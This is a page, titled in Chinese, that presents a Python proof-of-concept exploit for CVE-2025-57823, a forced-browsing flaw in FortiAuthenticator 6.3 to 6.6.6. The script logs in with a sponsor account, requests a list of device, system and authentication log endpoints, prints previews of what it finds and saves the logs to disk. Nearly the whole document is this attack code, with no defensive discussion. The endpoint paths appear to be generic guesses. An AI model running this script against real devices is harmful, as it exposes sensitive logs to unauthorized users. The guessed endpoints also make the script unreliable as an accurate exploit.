CVE-2025-57823 FortiAuthenticator 强制浏览漏洞可读取设备日志

import requests import sys # CVE-2025-57823 PoC - FortiAuthenticator Forced Browsing # Target: FortiAuthenticator 6.3 - 6.6.6 # Authentication required: At least sponsor privileges TARGET_URL = "https://<fortiauthenticator-host>" USERNAME = "sponsor_user" PASSWORD = "password" def exploit(): """Exploit forced browsing to access device logs""" session = requests.Session() # Step 1: Login with sponsor account login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful with sponsor account") # Step 2: Direct access to log endpoints (forced browsing) log_endpoints = [ "/api/v1/logs/device", "/api/v1/logs/system", "/api/v1/logs/authentication", "/log/device.log", "/logs/system.log" ] for endpoint in log_endpoints: log_url = f"{TARGET_URL}{endpoint}" response = session.get(log_url, verify=False) if response.status_code == 200 and "log" in response.text.lower(): print(f"[+] Found accessible log endpoint: {endpoint}") print(f"[*] Log content preview: {response.text[:500]}") # Download logs with open(f"log_{endpoint.replace('/', '_')}.txt", 'w') as f: f.write(response.text) print(f"[+] Log saved to log_{endpoint.replace('/', '_')}.txt") return True print("[-] No accessible log endpoints found") return False if __name__ == "__main__": exploit()